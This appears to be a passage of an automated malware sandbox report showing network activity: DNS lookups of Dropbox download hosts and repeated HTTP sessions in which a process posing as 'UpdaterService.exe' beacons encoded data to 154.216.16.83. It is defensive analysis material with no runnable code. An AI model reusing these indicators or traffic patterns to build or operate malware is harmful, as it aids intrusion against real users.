Dec 14, 2024 21:43:01.057909966 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:01.366291046 CET	80	50157	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:01.367516994 CET	50157	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:01.379571915 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:01.383596897 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:01.481570005 CET	50158	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:01.487740040 CET	80	50157	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:01.487895966 CET	50157	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:01.503547907 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:01.601912022 CET	80	50158	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:01.601994038 CET	50158	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:01.715425968 CET	50158	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:01.807807922 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:01.808135033 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:01.835201025 CET	80	50158	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:01.930465937 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:02.232234001 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:02.232568979 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:02.353425026 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:02.654969931 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:02.655319929 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:02.775321007 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:02.902340889 CET	80	50158	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:02.902518034 CET	50158	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:03.012499094 CET	50159	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:03.023032904 CET	80	50158	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:03.023302078 CET	50158	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:03.132711887 CET	80	50159	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:03.132977962 CET	50159	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:03.156851053 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:03.160104990 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:03.246583939 CET	50159	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:03.280529976 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:03.367216110 CET	80	50159	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:03.581804991 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:03.582140923 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:03.702405930 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:04.003510952 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:04.003726006 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:04.123776913 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:04.426347017 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:04.426537037 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:04.431730032 CET	80	50159	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:04.431900024 CET	50159	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:04.546390057 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:04.547457933 CET	50160	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:04.552325010 CET	80	50159	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:04.552432060 CET	50159	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:04.667458057 CET	80	50160	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:04.667603970 CET	50160	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:04.782711983 CET	50160	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:04.849010944 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:04.853765011 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:04.902965069 CET	80	50160	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:04.973814964 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:05.279419899 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:05.279683113 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:05.399719000 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:05.700826883 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:05.701101065 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:05.822611094 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:05.964744091 CET	80	50160	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:05.964863062 CET	50160	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:06.075040102 CET	50161	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:06.085131884 CET	80	50160	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:06.085190058 CET	50160	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:06.123775959 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:06.124007940 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:06.195003986 CET	80	50161	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:06.195102930 CET	50161	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:06.243839025 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:06.309056997 CET	50161	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:06.429676056 CET	80	50161	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:06.571252108 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:06.571594954 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:06.692188978 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:06.992942095 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:06.993335009 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:07.113455057 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:07.414618969 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:07.422862053 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:07.493808031 CET	80	50161	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:07.542819023 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:07.574688911 CET	50161	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:07.843940020 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:07.965336084 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:07.990029097 CET	50161	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:07.992192030 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:08.109178066 CET	50162	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:08.110596895 CET	80	50161	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:08.110656023 CET	50161	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:08.112298012 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:08.232963085 CET	80	50162	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:08.233041048 CET	50162	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:08.340332985 CET	50162	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:08.413479090 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:08.413734913 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:08.461208105 CET	80	50162	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:08.533632040 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:08.863107920 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:08.863399029 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:08.983480930 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:09.293507099 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:09.294023037 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:09.413980961 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:09.554759026 CET	80	50162	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:09.554856062 CET	50162	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:09.668661118 CET	50163	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:09.675072908 CET	80	50162	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:09.675126076 CET	50162	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:09.714973927 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:09.715148926 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:09.789102077 CET	80	50163	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:09.789176941 CET	50163	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:09.835391998 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:09.902983904 CET	50163	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:10.022878885 CET	80	50163	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:10.136637926 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:10.136878014 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:10.256891012 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:10.558244944 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:10.762274027 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:12.324836016 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:12.444619894 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:31.689824104 CET	80	50163	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:31.690584898 CET	50163	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:31.690907955 CET	50163	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:31.810705900 CET	80	50163	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:34.299814939 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:34.299880028 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:34.299913883 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:34.300215960 CET	50164	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:34.419770002 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:34.420258045 CET	80	50164	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:34.420474052 CET	50164	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:34.527930975 CET	50164	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:34.647823095 CET	80	50164	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:35.732608080 CET	80	50164	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:35.777890921 CET	50164	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:37.293857098 CET	50164	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:37.413697004 CET	80	50164	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:37.714946032 CET	80	50164	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:37.762295008 CET	50164	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:39.590482950 CET	50164	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:39.710597992 CET	80	50164	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:40.011827946 CET	80	50164	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:40.059282064 CET	50164	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:41.106285095 CET	50164	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:43:41.226612091 CET	80	50164	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:41.542540073 CET	80	50164	154.216.16.83	192.168.2.4
Dec 14, 2024 21:43:41.590609074 CET	50164	80	192.168.2.4	154.216.16.83

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 14, 2024 21:39:04.601759911 CET	52446	53	192.168.2.4	1.1.1.1
Dec 14, 2024 21:39:04.739835978 CET	53	52446	1.1.1.1	192.168.2.4
Dec 14, 2024 21:39:07.237766027 CET	59768	53	192.168.2.4	1.1.1.1
Dec 14, 2024 21:39:07.756095886 CET	53	59768	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 14, 2024 21:39:04.601759911 CET	192.168.2.4	1.1.1.1	0xd940	Standard query (0)	www.dropbox.com	A (IP address)	IN (0x0001)	false
Dec 14, 2024 21:39:07.237766027 CET	192.168.2.4	1.1.1.1	0x23fe	Standard query (0)	uc3c2088de79bd8ea4195a51c266.dl.dropboxusercontent.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 14, 2024 21:39:04.739835978 CET	1.1.1.1	192.168.2.4	0xd940	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 21:39:04.739835978 CET	1.1.1.1	192.168.2.4	0xd940	No error (0)	www-env.dropbox-dns.com		162.125.69.18	A (IP address)	IN (0x0001)	false
Dec 14, 2024 21:39:07.756095886 CET	1.1.1.1	192.168.2.4	0x23fe	No error (0)	uc3c2088de79bd8ea4195a51c266.dl.dropboxusercontent.com	edge-block-www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 21:39:07.756095886 CET	1.1.1.1	192.168.2.4	0x23fe	No error (0)	edge-block-www-env.dropbox-dns.com		162.125.69.15	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.dropbox.com

uc3c2088de79bd8ea4195a51c266.dl.dropboxusercontent.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49740	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:16.561445951 CET	160	OUT	Data Raw: 31 35 35 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 46 63 52 6d 54 6a 6f 32 4a 4a 53 6b 58 66 30 6d 46 63 52 34 36 6a 6f 32 4a 4a 53 6b 58 66 53 Data Ascii: 15590Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIFcRmTjo2JJSkXf0mFcR46jo2JJSkXfS4FcR6Jjo2cBSkXQ0IFcR4cjo2ZGSkXfS4FcR46jo2HnSkX3SmFcz0qCYdPHSM2XErq1R5Uj9dZhQx2
Dec 14, 2024 21:39:17.763004065 CET	8	IN	Data Raw: 56 6d 54 6a 6f 43 0d 0a Data Ascii: VmTjoC
Dec 14, 2024 21:39:17.767358065 CET	680	OUT	Data Raw: 36 37 35 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 46 77 4f 30 4b 44 6f 32 58 5a 32 32 57 57 67 34 5a 51 4f 30 54 6e 78 64 46 42 47 43 46 73 53 Data Ascii: 67590Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIFwO0KDo2XZ22WWg4ZQO0TnxdFBGCFsSIHqO0TvolFB22WEg4TcO0TBouFBS5LsSIT=O0TBolFBS5FsS1UxOIKHo2FBG5JsSIZ7O0TnYlFBG5JsSIHaO0Tnx2FBS8XsSICWO0TnouFBGCFsSIHaO0TnYlFBG8FsSIJbO0TPed6rSuPIG4uzurjcKieWVml=sA
Dec 14, 2024 21:39:17.889610052 CET	79	OUT	Data Raw: 37 35 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 46 63 7a 30 71 43 70 32 48 48 47 78 32 58 45 72 71 31 52 35 55 6a 39 64 5a 68 51 78 32 Data Ascii: 7590Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIFcz0qCp2HHGx2XErq1R5Uj9dZhQx2
Dec 14, 2024 21:39:18.353137970 CET	20	IN	Data Raw: 56 6d 54 6a 6f 32 31 42 53 6b 6c 7a 53 6d 46 63 4f 7a 0d 0a Data Ascii: VmTjo21BSklzSmFcOz
Dec 14, 2024 21:39:20.308595896 CET	80	OUT	Data Raw: 37 36 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 46 63 7a 30 71 43 6f 75 46 76 47 38 71 7a 4c 68 6c 77 7a 30 36 74 6f 69 4b 48 51 78 32 7a Data Ascii: 7690Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIFcz0qCouFvG8qzLhlwz06toiKHQx2z
Dec 14, 2024 21:39:20.730308056 CET	20	IN	Data Raw: 56 6d 54 6a 6f 32 31 42 53 6b 6c 7a 53 6d 46 63 4f 7a 0d 0a Data Ascii: VmTjo21BSklzSmFcOz
Dec 14, 2024 21:39:22.694705009 CET	80	OUT	Data Raw: 37 36 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 46 63 7a 30 71 43 6f 75 36 42 47 38 7a 7a 4c 68 6c 77 7a 30 36 74 6f 69 4b 48 51 78 32 7a Data Ascii: 7690Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIFcz0qCou6BG8zzLhlwz06toiKHQx2z
Dec 14, 2024 21:39:23.117474079 CET	20	IN	Data Raw: 56 6d 54 6a 6f 32 31 42 53 6b 6c 7a 53 6d 46 63 4f 7a 0d 0a Data Ascii: VmTjo21BSklzSmFcOz
Dec 14, 2024 21:39:24.803076029 CET	80	OUT	Data Raw: 37 36 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 46 63 7a 30 71 43 6f 75 58 38 47 35 43 7a 4c 68 6c 77 7a 30 36 74 6f 69 4b 48 51 78 32 7a Data Ascii: 7690Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIFcz0qCouX8G5CzLhlwz06toiKHQx2z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49741	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:17.683554888 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:18.880624056 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49742	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:19.308295965 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:20.495618105 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49744	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:20.839962006 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:22.032435894 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49746	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:22.371078014 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:23.558634043 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49748	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:23.902287960 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:25.121289968 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49750	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:25.465665102 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:26.660307884 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49752	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:26.996015072 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:28.188206911 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49753	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:28.527338028 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:29.715487957 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49755	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:30.093904018 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:31.258049965 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49756	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:39:31.605432034 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:39:32.794382095 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49757	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
